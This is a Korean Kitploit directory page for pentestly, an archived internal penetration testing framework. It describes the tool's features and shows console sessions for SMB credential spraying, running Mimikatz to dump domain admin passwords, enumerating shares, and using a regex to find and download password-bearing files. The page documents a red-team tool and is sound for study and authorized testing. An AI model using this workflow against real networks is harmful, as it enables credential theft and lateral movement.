Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pentestly — Python 및 PowerShell 내부 침투 테스트 프레임워크 | Kitploit
도구/GitHubGitHub/praetorian-inc/pentestly
Penetration Testing FrameworksPrivilege EscalationReconnaissancePassword AttacksExploitationLateral MovementInformation GatheringPost-ExploitationPenetration TestingCommand and ControlRed TeamingArchived
72113710년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubpraetorian-inc/pentestly

pentestly

Python 및 PowerShell 내부 침투 테스트 프레임워크

저장소 보기

Pentestly

Pentestly는 침투 테스트에 사용하기 위해 확장 가능한 Python 도구들을 결합한 것입니다. 목표는 익숙한 사용자 인터페이스를 활용하면서 Python의 강력함을 통해 프레임워크에 쉽게 기여할 수 있도록 하는 것입니다.

블로그 글: Pentestly Framework: When Pentesting Meets Python and Powershell

작성자: @ctfhacker / Cory Duplantis

데모

asciicast

현재 기능

  • NMAP XML 가져오기
  • SMB 인증 테스트:
    • 개별 자격 증명
    • 자격 증명이 포함된 파일
    • null 자격 증명
    • NTLM 해시
  • 성공적인 SMB 인증을 위한 로컬 관리자 권한 테스트
  • 유효한 자격 증명에 대한 읽기 가능한 SMB 공유 식별
  • 도메인/엔터프라이즈 관리자 계정 이름 저장
  • 실행 중인 도메인 관리자 프로세스의 위치 확인
  • 로그인한 도메인 관리자의 시스템 확인
  • 메모리에서 PowerShell 명령 실행 및 결과 추출
  • Mimikatz 실행하여 메모리에서 일반 텍스트 암호 수집 (Invoke-Mimikatz.ps1)
  • 명령 셸 수신 (Powercat)
  • Meterpreter 세션 수신 (Invoke-Shellcode.ps1)

거인의 어깨 위에

Pentestly는 거인의 어깨 위에 서 있습니다. 현재 Pentestly에서 사용되는 도구들은 다음과 같습니다:

  • recon-ng - recon-ng의 백엔드 데이터베이스는 아름답게 제작되어 Pentestly에서 데이터 조작에 활용됩니다

  • wmiexec.py - WMI를 통해 PowerShell 명령을 빠르고 쉽게 실행할 수 있게 해줍니다

  • smbmap.py - SMB 공유를 열거하는 유용한 유틸리티

  • Invoke-Mimikatz.ps1 - PowerShell에서 Mimikatz 구현

  • powercat.ps1 - PowerShell에서 Netcat과 유사한 기능

  • Invoke-Shellcode.ps1 - PowerShell에 Meterpreter 배포

  • CrackMapExec - Pentestly의 간단한 Mimikatz 서버에 대한 영감의 원천

설치

root@kitploit:~
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

사용법

현재 구현된 여러 기능을 살펴보겠습니다.

작업 공간 변경

root@kitploit:~
[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

nmap에서 불러오기

root@kitploit:~
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       Path and filename for nmap XML input

[pentestly][project][nmap_xml] > run

로그인 테스트

자격 증명이 포함된 파일을 사용하여 로그인 테스트

root@kitploit:~
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

단일 사용자 이름/암호 사용

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

IP의 작은 하위 집합에 대해 자격 증명 사용 예: 테이블에서 찾은 192.168.8.0/24에 대해

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

도메인 및 엔터프라이즈 관리자 수집

root@kitploit:~
[pentestly][project][login] > load get_domain # Note fuzzy searching - get_domain finds get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       source of input (see 'show info' for details)

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2

실행 권한이 있는 IP에서 mimikatz 실행

root@kitploit:~
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

로컬 관리자 표시

root@kitploit:~
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

도메인 관리자 표시

root@kitploit:~
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

Enumshares

root@kitploit:~
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

새 공유 표시

root@kitploit:~
[pentestly][default][interesting_files] > show pentestly_shares

+------------------------------------------------------------------------------------------------+
| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |
+-------------------------------------------------------------------------------------------------+
| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |
+-------------------------------------------------------------------------------------------------+

흥미로운 파일 찾기/다운로드

root@kitploit:~
[pentestly][default][interesting_files] > show options

    Name     Current Value                                                                                                                              Required  Description
    -------  -------------                                                                                                                              --------  -----------
    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       Regex pattern to look for in filenames
    SOURCE   default                                                                                                                                    yes       source of input (see 'show info' for details)

pattern을 좀 더 특화된 것으로 변경할 수 있습니다.

root@kitploit:~
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options

    Name     Current Value               Required  Description
    -------  -------------               --------  -----------
    PATTERN  important.txt|super_secret  yes       Regex pattern to look for in filenames
    SOURCE   default                     yes       source of input (see 'show info' for details)

실행 및 찾은 파일 다운로드

root@kitploit:~
[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:[email protected]
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt

기여하기

Pentestly에서 새 모듈을 만드는 것은 쉽습니다. skeleton.py에 제공된 코드로 시작하세요:

root@kitploit:~
from libs.pentestlymodule import PentestlyModule

class Module(PentestlyModule):

    meta = {
        'name': 'Your module name goes here',
        'author': 'Developer name goes here',
        'description': 'Description of the module goes here',
        'query': 'SQL QUERY whose result is passed to your module',
        'options': (
            ('Option1', 'Default Value', Required-True/False, 'Description of option'),
        ),
    }

    def module_pre(self):
        # Optional
        # Happens before your module

    def module_run(self, data):
        # Required
        # data is the result from the SQL query set in the options
        
        ### Few magic functions
        # self.query - Perform an SQL query on the internal database
        results = self.query("select * from pentestly_creds")
        
        # self.output - print default information to the user
        self.output("Performed an SQL query")
        self.output(results)

        # self.alert - print successful message to the user
        self.success("Yay! We performed successful work")

    def module_post(self):
        # Optional
        # Happens after your module

여기서 핵심은 meta 딕셔너리에 해당 정보를 채우고, 모듈 기능을 위해 module_run 함수를 구현하는 것입니다.

이 스크립트는 modules/ 폴더나 휴대성을 위해 개인 ~/.pentestly/modules 폴더에 배치됩니다.

자세한 예제 스크립트 설명은 추후 제공될 예정입니다.

TODO

  • secretsdump.py 모듈 구현
  • creds, services와 유사한 데이터베이스 쿼리용 유틸리티 함수 추가
  • 고정 너비 열을 가지도록 draw_table 함수 재작업
  • Gladius에서 자격 증명 가져오기
  • GPP 암호 검색 및 복호화 모듈 구현
  • Invoke-Shellcode 활용 검토

변경 로그

0.1.0 (2016-02-18)

최초 릴리스

도구 다운로드